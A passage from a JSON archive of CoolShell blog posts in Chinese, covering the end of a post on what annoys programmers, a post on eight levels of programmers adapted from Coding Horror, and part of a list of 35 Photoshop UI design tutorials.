程序员自己</strong></p>\n<p>惹毛程序员的可能还是程序员自己，程序员是“相轻”的，他们基本上都是持才傲物的，总是觉得自己才是最牛的，在程序员间，他们几乎每天都要吵架，而且一吵就吵得脸红脖子粗。在他们之间，他们总是被自己惹毛。</p>\n<ul>\n<li>技术上的不同见解。比如Linux和Win，VC++和VB，Vi和Emacus，Java和C++，PHP和Ruby等等，等等。什么都要吵。</li>\n<li>老手对新手的轻视。总是有一些程序员看不起另一些程序员，说话间都带着一种傲慢和训斥。当新手去问问题的时候，老手们总是爱搭不理。</li>\n<li>在技术上不给对方留面子。不知道为什么，程序员总是不给对方留面子，每当听到有人错误理解某个技术的时候，他们总是喜欢当众大声指证，用别人的“错误”来表明自己的“博学”，并证明他人的“无知”。</li>\n<li>喜好鄙视。他们喜好鄙视，其实，这个世界上没有一件事是完美的，有好就有不好，要挑毛病太容易了。程序员们特别喜欢鄙视别人，无论是什么的东西，他们总是喜欢看人短而不看人长。经常挂在他们嘴上的口头禅是“太差”、“不行”等等。</li>\n</ul>\n<p>程序员，长期和电脑打交道，编写出的代码电脑总是认真的运行，长期养成了程序员们目空一切的性格，却不知，这个世界上很多东西并不是能像电脑一样，只要我们输入正确的指令它就正确地运行这么简单。程序员，什么时候才能变成成熟起来……</p>\n<p> </p>\n<p><strong>第一位 程序员的代码</strong></p>\n<p>无论你当时觉得自己的设计和写的代码如何的漂亮和经典，过上一段时间后，再回头看看，你必然会觉得自己的愚蠢。当然，当你需要去维护他人的代码的时候，你一定要在一边维护中一边臭骂别人的代码。是否你还记得当初怎么怎么牛气地和别人讨论自己的设计和自己的代码如何如何完美的？可是，用不了两年，一刚从学校毕业的学生在维护你的代码的过程当中就可以对你的代码指指点点，你的颜面完全扫地。呵呵。当然，也有的人始终觉得自己的设计和代码就是最好的，不过这是用一种比较静止的眼光来看问题。编程这个世界变化总是很快的的，很多事情，只有当我们做过，我们才熟悉他，熟悉了后才知道什么是更好的方法，这是循序渐进的。所以，当你对事情越来越熟悉的时候，再回头看自己以前做的设计和代码的时候，必然会觉得自己的肤浅和愚蠢，当然看别人的设计和代码时，可能也会开始骂人了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/340.html\">惹恼程序员的十件事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-6 程序员的八个级别.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/programmer.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/programmer.jpg\"><img alt=\"programmer\" class=\"alignright size-thumbnail wp-image-347\" height=\"150\" src=\"../wp-content/uploads/2009/04/programmer-150x150.jpg\" title=\"programmer\" width=\"150\"/></a>在面试时，你可能会被经常问到“在未来5年，你想干什么？”，这可能是一个比较难回答的问题。在中国，答案一般可能会是Team leader，Manager，或是Architect，Specialist等，在中国，大家可能更多地觉得manager会是程序员的下一个目标，可是在国外，经理和程序员可能是两个不同的分支，Architect或Specialist 比经理来说更牛、代遇可能也更好，因为这些人的智商需要的更高。</p>\n<p>在著名的“<a href=\"http://www.codinghorror.com/\" target=\"_blank\">Coding Horror</a>”上出现了这样一篇文章，我把其转到这里（我并没有完全一模一样的翻译，我只不过是用自己的话转述罢了），也让大家看看国外人的思考方式（当然，这篇文章只是分析程序员的级别而不是工种）。正如其作者结尾时所说，这八个级别并不是很严格的，其只不过是一种想法，希望能给大家另一种思路。</p>\n<p><span id=\"more-343\"></span></p>\n<p><strong>第八级 不朽的程序员</strong></p>\n<p>这一级别是程序员的最高级别。你的代码比你的生命活的还长，当你死后，你将会成为整个历史的一部分。其它程序员对你顶礼膜拜，或许你会获得计算机最高奖“图灵奖”，不然就是一系列极其影响力的论文，再不然，就是发明了一些可以影影响整个编程界根基的技术。你拥有的不仅仅是在维基百科上的一个词条，还会有一个专门的网站来研究你的生平和你的工作成果。</p>\n<p>比如：<a href=\"http://en.wikipedia.org/wiki/Edsger_W._Dijkstra\">Dijkstra</a>, <a href=\"http://en.wikipedia.org/wiki/Donald_Knuth\">Knuth</a>（编程艺术的作者）, <a href=\"http://en.wikipedia.org/wiki/Alan_Kay\">Kay</a></p>\n<p> </p>\n<p><strong>第七级 成功的程序员</strong></p>\n<p>这类程序员一方面很著名，另一方面在商业上也很成功，他们影响了整个工业界。他们似乎决定了工业界中发展的方向，这些人，自己的编程能力固然了得，但估计他们的Business方面的能力应该大于他们编程的能力。（我个人认为<a href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\" target=\"_blank\">Linus</a>应该属于这一类）</p>\n<p>比如： <a href=\"http://en.wikipedia.org/wiki/Bill_Gates\">Gates</a>（比尔盖茨）, <a href=\"http://en.wikipedia.org/wiki/John_D._Carmack\">Carmack</a>（Doom和Quake 3D游戏）, <a href=\"http://en.wikipedia.org/wiki/David_Heinemeier_Hansson\">DHH</a> （Ruby on Rail的创建者）</p>\n<p> </p>\n<p><strong>第六级 著名程序员</strong></p>\n<p>这一类的程序员，在编程圈子内比较有名气，但是他们的这种名气并不一定能给他们带来某种利益。名气是一件好事，但是成功可能更好一些，这类人一般正在给一个很著名的大的公司，或是是一极具影响力的小公司里工作，或者正在创建自己的事业。无论怎么样，其它的程序员听说过你的名字，并以你为榜样在效仿着你。</p>\n<p> </p>\n<p><strong>第五级 骨干程序员</strong></p>\n<p>这类程序员一般来说都是公司里的骨干份子，他们担任着公司内最重要的编程角色，在公司内部，他们受到老板和其它程序员的尊敬，他们不会失业，因为他们随时都可以很容易地找到工作。他们工作过的公司都会因为他们而有所发展。</p>\n<p> </p>\n<p><strong>第四级 一般的程序员</strong></p>\n<p>这类程序员的优点在于，他们很清楚地意识到了自己可能这一辈了也无法成为一个伟大的程序员。天才只是很少的一部分人。如果这类程序员有一些商业和人员管理能力，他们也会在公司里相当的成功。“认识自我”并不简单，这并不是一般人能做到的，能够认识自己的人已经是很不错了，找到自己的长处，并像那个方向努力，一定也会很成功的。因为在公司里，并不只有程序员一种职位，经理，PM，流程，SQA，技术支持，售前，管理员，测试人员等等都可能会让这类程序员有更为广阔的天空。</p>\n<p> </p>\n<p><strong>第三级  业余的程序员</strong></p>\n<p>这类人员不管是不是计算机科班出身，基础如何，他们对编程有着特殊的爱好，他们可能会是一些很有前途的学生或实习生，也许他们可能会给开源做一些贡献（比如说提供一些语言包或是一些插件什么的），有时候，他们也会写两个小工具软件放在网上让人下载，也行有些时候就是为了玩玩而开发一些小程序而打发一下他们空闲的时间。他们完全是靠热情和承诺来编程。兴趣永远是最好的老师，也是最好的一件事，因为兴趣而引发的热情通常会让这些程序员成为“骨干程序员”。</p>\n<p> </p>\n<p><strong>第二级 不知名的程序员</strong></p>\n<p>这一级的程序员是典型的为大众所知的程序员，他们有一定的编程能力，但并不出众，也许他们会在一家大公司里工作，只程序员只不过是他们的工作而已，并不是他们人生的全部。当然，这样的程序员也挺好的。必竟，平凡地人还是大多数，平凡地活着也没有什么错的。</p>\n<p> </p>\n<p><strong>第一级 糟糕的程序员</strong></p>\n<p>这类程序员不知道为什么就走上了编程这条路，他们甚至连最基本的编程经验和能力都没有。所有被他们碰过的事情都需要他们的同事重头再返工一遍，他们根本不就是程序员。程序员这个职位对于他们可能就是一个错误。</p>\n<p>正如原文作者所说，“这些级别并不是很严肃的，也并不是每个程序都会去思考一下自己的未来，但是这些级别可能会让你去想一想从事程序员十年/二十年/三十年后，自己可能变成什么样。”</p>\n<p>文章：<a href=\"http://www.codinghorror.com/blog/archives/001250.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/343.html\">程序员的八个级别</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-7 35个强大的UI设计教程.html",
    "content": "<html><body><p>下面是35个非常不错的UI设计的的教程及效果图，非常不错哦。不但教你如何做一些特效，同样教你如何做UI布局和界面设计。当然，他们风格迥异，也基本上都是Web页面上的。都非常不错。希望你喜欢。（点击下面的图片可以打开相关的教程）</p>\n<p><a href=\"http://www.talk-mania.com/web-layouts/43999-old-paper-layout-great-portfolio-layout.html\"><span style=\"color: #000000; background-color: #e0f6ff;\">Old Paper Layout<br/>\n<img alt=\"18\" border=\"0\" height=\"478\" src=\"../wp-content/uploads/2009/04/18.jpg\" style=\"display: inline; border-width: 0px;\" title=\"18\" width=\"477\"/></span></a></p>\n<p><span id=\"more-363\"></span></p>\n<p><a href=\"http://www.adobetutorialz.com/articles/2841/Professional-Modern-Web-Layout\"><span style=\"color: #000000; background-color: #e0f6ff;\">Professional Modern Web Layout<br/>\n<img alt=\"116\" border=\"0\" height=\"418\" src=\"../wp-content/uploads/2009/04/116.jpg\" style=\"display: inline; border-width: 0px;\" title=\"116\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.adobetutorialz.com/articles/2931/1/Photography-portfolio\"><span style=\"color: #4f5051; background-color: #e0f6ff;\">Photography portfolio Design<br/>\n<img alt=\"107\" border=\"0\" height=\"483\" src=\"../wp-content/uploads/2009/04/107.jpg\" style=\"display: inline; border-width: 0px;\" title=\"107\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.tutorialshot.com/professional-header-design-for-your-website/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Professional header design for your website<br/>\n<img alt=\"final_small\" border=\"0\" height=\"103\" src=\"../wp-content/uploads/2009/04/final-small.gif\" style=\"display: inline; border-width: 0px;\" title=\"final_small\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.photoshopstar.com/web-graphics/glossy-style-carbon-fibre-navigation-set/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Glossy-Style Carbon Fibre Navigation Buttons<br/>\n<img alt=\"glossy-clan-navigation\" border=\"0\" height=\"200\" src=\"../wp-content/uploads/2009/04/glossyclannavigation.jpg\" style=\"display: inline; border-width: 0px;\" title=\"glossy-clan-navigation\" width=\"477\"/></span></a></p>\n<p><a href=\"http://psdtuts.com/tutorials/interface-tutorials/photoshop-paper-texture-from-scratch-then-create-a-grungy-web-design-with-it/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Photoshop Paper Texture from Scratch then Create a Grungy Web Design with it!<br/>\n<img alt=\"final\" border=\"0\" height=\"358\" src=\"../wp-content/uploads/2009/04/final.jpg\" style=\"display: inline; border-width: 0px;\" title=\"final\" width=\"477\"/></span></a></p>\n<p><a href=\"http://pshero.com/archives/volkswagen-inspired-navigation\"><span style=\"color: #000000; background-color: #e0f6ff;\">Volkswagen Inspired Navigation<br/>\n<img alt=\"final-nav\" border=\"0\" height=\"222\" src=\"../wp-content/uploads/2009/04/finalnav.jpg\" style=\"display: inline; border-width: 0px;\" title=\"final-nav\" width=\"477\"/></span></a></p>\n<p><a href=\"http://magnusfx.com/graphics/creating-a-glossy-3d-button\"><span style=\"color: #000000; background-color: #e0f6ff;\">Creating A Glossy 3D Button<br/>\n<img alt=\"finished-300x146\" border=\"0\" height=\"146\" src=\"../wp-content/uploads/2009/04/finished300x146.jpg\" style=\"display: inline; border-width: 0px;\" title=\"finished-300x146\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.pstut.info/tutorials/royal-interface/\"><span style=\"color: #4f5051; background-color: #e0f6ff;\">Royal Interface – Design Tutorial<br/>\n<img alt=\"royfinal\" border=\"0\" height=\"424\" src=\"../wp-content/uploads/2009/04/royfinal.jpg\" style=\"display: inline; border-width: 0px;\" title=\"royfinal\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.webdesignerwall.com/tutorials/design-watercolor-effect-menu/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design Watercolor Effect Menu<br/>\n<img alt=\"menu-sample\" border=\"0\" height=\"141\" src=\"../wp-content/uploads/2009/04/menusample.jpg\" style=\"display: inline; border-width: 0px;\" title=\"menu-sample\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.tutzor.com/index.php/2008/05/tutzor-web-20-style-re-design/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Tutzor web 2.0 style design<br/>\n<img alt=\"Final_large\" border=\"0\" height=\"887\" src=\"../wp-content/uploads/2009/04/final-large.jpg\" style=\"display: inline; border-width: 0px;\" title=\"Final_large\" width=\"477\"/></span></a></p>\n<p><a href=\"http://alfoart.com/black_design_1.html\"><span style=\"color: #000000; background-color: #e0f6ff;\">Black Website Design<br/>\n<img alt=\"web_medium\" border=\"0\" height=\"382\" src=\"../wp-content/uploads/2009/04/web-medium.jpg\" style=\"display: inline; border-width: 0px;\" title=\"web_medium\" width=\"477\"/></span></a></p>\n<p><a href=\"http://psdtuts.com/interface-tutorials/how-to-create-a-simple-sleek-web-20-site-footer/\"><span style=\"color: #000000; background-color: #e0f6ff;\">How to Create a Simple &amp; Sleek Web 2.0 Site Footer<br/>\n<img alt=\"sleekweb20final\" border=\"0\" height=\"159\" src=\"../wp-content/uploads/2009/04/sleekweb20final.jpg\" style=\"display: inline; border-width: 0px;\" title=\"sleekweb20final\" width=\"477\"/></span></a></p>\n<p><a href=\"http://psdtuts.com/tutorials/interface-tutorials/how-to-create-a-grunge-web-design-in-photoshop/\"><span style=\"color: #000000; background-color: #e0f6ff;\">How to Create a Grunge Web Design in Photoshop<br/>\n<img alt=\"click\" border=\"0\" height=\"477\" src=\"../wp-content/uploads/2009/04/click.jpg\" style=\"display: inline; border-width: 0px;\" title=\"click\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.cleardetails.com/2007/professionaldesignstudiowebtemplate2/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Professional Design Studio Web Template in Adobe Photoshop<br/>\n<img alt=\"final\" border=\"0\" height=\"371\" src=\"../wp-content/uploads/2009/04/final.png\" style=\"display: inline; border-width: 0px;\" title=\"final\" width=\"477\"/></span></a></p>\n<p><a href=\"http://psdvibe.com/2009/01/20/corporate-wordpress-style-layout/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Corporate WordPress Style Layout<br/>\n<img alt=\"photoshop_tutorial_22\" border=\"0\" height=\"684\" src=\"../wp-content/uploads/2009/04/photoshop-tutorial-22.jpg\" style=\"display: inline; border-width: 0px;\" title=\"photoshop_tutorial_22\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.blog.spoongraphics.co.uk/tutorials/create-a-vibrant-modern-blog-design-in-adobe-photoshop\"><span style=\"color: #000000; background-color: #e0f6ff;\">Create a Vibrant Modern Blog Design in Photoshop<br/>\n<img alt=\"37\" border=\"0\" height=\"403\" src=\"../wp-content/uploads/2009/04/37.jpg\" style=\"display: inline; border-width: 0px;\" title=\"37\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.originmaker.com/2008/simple-content-box-photoshop-tutorial/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Simple Rounded Content Box in Photoshop<br/>\n<img alt=\"Result\" border=\"0\" height=\"392\" src=\"../wp-content/uploads/2009/04/result.gif\" style=\"display: inline; border-width: 0px;\" title=\"Result\" width=\"477\"/></span></a></p>\n<p><a href=\"http://psdtuts.com/interface-tutorials/design-a-cartoon-grunge-website-layout/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Cartoon Grunge Web site Layout<br/>\n<img alt=\"cartoonclick\" border=\"0\" height=\"338\" src=\"../wp-content/uploads/2009/04/cartoonclick.jpg\" style=\"display: inline; border-width: 0px;\" title=\"cartoonclick\" width=\"477\"/></span></a></p>\n<p><a href=\"http://psdfan.com/designing/design-a-unique-grungy-website/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Unique Grungy Website Layout<br/>\n<img alt=\"grungydesignfinalsmall\" border=\"0\" height=\"381\" src=\"../wp-content/uploads/2009/04/grungydesignfinalsmall.jpg\" style=\"display: inline; border-width: 0px;\" title=\"grungydesignfinalsmall\" width=\"477\"/></span></a></p>\n<p><a href=\"http://pshero.com/archives/a-scrap-of-notebook-paper\"><span style=\"color: #000000; background-color: #e0f6ff;\">A Scrap Of Notebook Paper<br/>\n<img alt=\"tornfinal\" border=\"0\" height=\"265\" src=\"../wp-content/uploads/2009/04/tornfinal.jpg\" style=\"display: inline; border-width: 0px;\" title=\"tornfinal\" width=\"477\"/></span></a></p>\n<p><a href=\"http://magnusfx.com/graphics/creating-a-glossy-navigation-bar\"><span style=\"color: #000000; background-color: #e0f6ff;\">Creating A Glossy Navigation Bar<br/>\n<img alt=\"final1\" border=\"0\" height=\"150\" src=\"../wp-content/uploads/2009/04/final1.png\" style=\"display: inline; border-width: 0px;\" title=\"final1\" width=\"477\"/></span></a></p>\n<p><a href=\"http://psdfan.com/tutorials/designing/making-the-clean-grunge-blog-design/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Making the ‘Clean Grunge’ Blog Design Photoshop tutorial<br/>\n<img alt=\"cleang28\" border=\"0\" height=\"314\" src=\"../wp-content/uploads/2009/04/cleang28.jpg\" style=\"display: inline; border-width: 0px;\" title=\"cleang28\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.adobetutorialz.com/articles/2867/1/Sound-System-Studio-Web-Layout\"><span style=\"color: #000000; background-color: #e0f6ff;\">Sound System Studio Web Layout Photoshop tutorial<br/>\n<img alt=\"88bluedesign\" border=\"0\" height=\"555\" src=\"../wp-content/uploads/2009/04/88bluedesign.jpg\" style=\"display: inline; border-width: 0px;\" title=\"88bluedesign\" width=\"477\"/></span></a></p>\n<p><a href=\"http://alfoart.com/platinum_webdesign_1.html\"><span style=\"color: #000000; background-color: #e0f6ff;\">Platinum Shiny, Glossy and Slick Web Design Photoshop tutorial<br/>\n<img alt=\"platinum_medium\" border=\"0\" height=\"526\" src=\"../wp-content/uploads/2009/04/platinum-medium.jpg\" style=\"display: inline; border-width: 0px;\" title=\"platinum_medium\" width=\"477\"/></span></a></p>\n<p><a href=\"http://hv-designs.co.uk/2008/11/24/design-studio-layout-2/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design Studio Layout – Photoshop Tutorial<br/>\n<img alt=\"design_studio2_big\" border=\"0\" height=\"156\" src=\"../wp-content/uploads/2009/04/design-studio2-big.gif\" style=\"display: inline; border-width: 0px;\" title=\"design_studio2_big\" width=\"477\"/></span></a></p>\n<p><a href=\"http://flyosity.com/tutorial/billings-icon-design-tutorial.php\"><span style=\"color: #000000; background-color: #e0f6ff;\">How To Draw The Billings Application Icon<br/>\n<img alt=\"step5.3\" border=\"0\" height=\"247\" src=\"../wp-content/uploads/2009/04/step53.png\" style=\"display: inline; border-width: 0px;\" title=\"step5.3\" width=\"477\"/></span></a></p>\n<p><a href=\"http://netcades.com/2008/07/21/clean-vertical-navigation-interface-in-photoshop/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Clean Vertical Navigation Interface in Photoshop<br/>\n<img alt=\"Final\" border=\"0\" height=\"236\" src=\"../wp-content/uploads/2009/04/final.gif\" style=\"display: inline; border-width: 0px;\" title=\"Final\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.adobetutorialz.com/articles/2988/1/Website-Design-Studio\"><span style=\"color: #000000; background-color: #e0f6ff;\">Website Design Studio<br/>\n<img alt=\"70\" border=\"0\" height=\"359\" src=\"../wp-content/uploads/2009/04/70.jpg\" style=\"display: inline; border-width: 0px;\" title=\"70\" width=\"477\"/></span></a></p>\n<p><a href=\"http://kailoon.com/creating-a-professional-magazine-web-layout/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Creating A Professional Magazine Web Layout<br/>\n<img alt=\"previewsiteutt\" border=\"0\" height=\"447\" src=\"../wp-content/uploads/2009/04/previewsiteutt.png\" style=\"display: inline; border-width: 0px;\" title=\"previewsiteutt\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.talk-mania.com/web-layouts/39171-design-agency-layout-tutorial-151-a.html\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design Agency Layout Photoshop tutorial<br/>\n<img alt=\"agency-layout\" border=\"0\" height=\"436\" src=\"../wp-content/uploads/2009/04/agencylayout.jpg\" style=\"display: inline; border-width: 0px;\" title=\"agency-layout\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.idotutorials.com/2008/08/21/modern-web-search-bar/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Modern Web Search Bar Photoshop tutorial<br/>\n<img alt=\"26searchbut\" border=\"0\" height=\"103\" src=\"../wp-content/uploads/2009/04/26searchbut.jpg\" style=\"display: inline; border-width: 0px;\" title=\"26searchbut\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.cleardetails.com/2007/professionaldesignstudiowebtemplate2/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Design a Professional Design Studio Web Template in Adobe Photoshop<br/>\n<img alt=\"finalprofdesign\" border=\"0\" height=\"335\" src=\"../wp-content/uploads/2009/04/finalprofdesign.jpg\" style=\"display: inline; border-width: 0px;\" title=\"finalprofdesign\" width=\"477\"/></span></a></p>\n<p><a href=\"http://www.idotutorials.com/2008/10/06/create-a-professional-gaming-header/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Create a Professional Gaming Header Photoshop tutorial<br/>\n<img alt=\"headertutfin\" border=\"0\" height=\"77\" src=\"../wp-content/uploads/2009/04/headertutfin.jpg\" style=\"display: inline; border-width: 0px;\" title=\"headertutfin\" width=\"477\"/></span></a></p>\n<p><a href=\"http://psdlearning.com/2008/08/carbon-fiber-layout/\"><span style=\"color: #000000; background-color: #e0f6ff;\">Carbon Fiber Layout Photoshop tutorial<br/>\n<img alt=\"cfl28layout\" border=\"0\" height=\"312\" src=\"../wp-content/uploads/2009/04/cfl28layout.jpg\" style=\"display: inline; border-width: 0px;\" title=\"cfl28layout\" width=\"477\"/></span></a></p>\n<p><!-- /footer1 /footer2 --><!-- /main -->也欢迎你和大家分享这里没有列出来的。</p>\n<p>文章：<a href=\"http://www.problogdesign.com/resources/35-awesome-user-interface-design-tutorials/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3142.html\"><img alt=\"用户界面和用户体验的差别\" height=\"150\" src=\"../wp-content/uploads/2010/10/UI-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3142.html\">用户界面和用户体验的差别</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a 